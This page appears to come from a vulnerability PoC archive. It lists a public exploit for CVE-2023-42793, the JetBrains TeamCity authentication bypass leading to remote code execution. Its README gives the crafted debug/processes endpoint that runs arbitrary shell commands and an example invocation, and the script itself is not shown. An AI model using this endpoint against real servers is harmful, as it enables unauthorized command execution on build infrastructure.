Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2023-42793 PoC — JetBrains TeamCity 安全漏洞

Source
Associated Vulnerability
Title:JetBrains TeamCity 安全漏洞 (CVE-2023-42793)
Description:In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
Description
teamcity-exploit-cve-2023-42793
Readme
# TeamCity Exploit Cve 2023 42793

A quick script to exploit the cve-2023-42793 bug. Some additional reading on the exploit can be found here:

https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​

https://www.cnblogs.com/LittleHann/p/17843271.html​

This script adds in the ability to use "params" freely to execute commands after triggering the RCE bug:

`RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=sh&params=-c&params=${URLCMD}"`

## To run the script:

`Usage: <base_url> <port> <command>`

## Example:

`./TeamCity.sh blah.com 8111 "ls -lah"`

The original script is here, full credit needs to go to them: https://github.com/Zenmovie/CVE-2023-42793
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →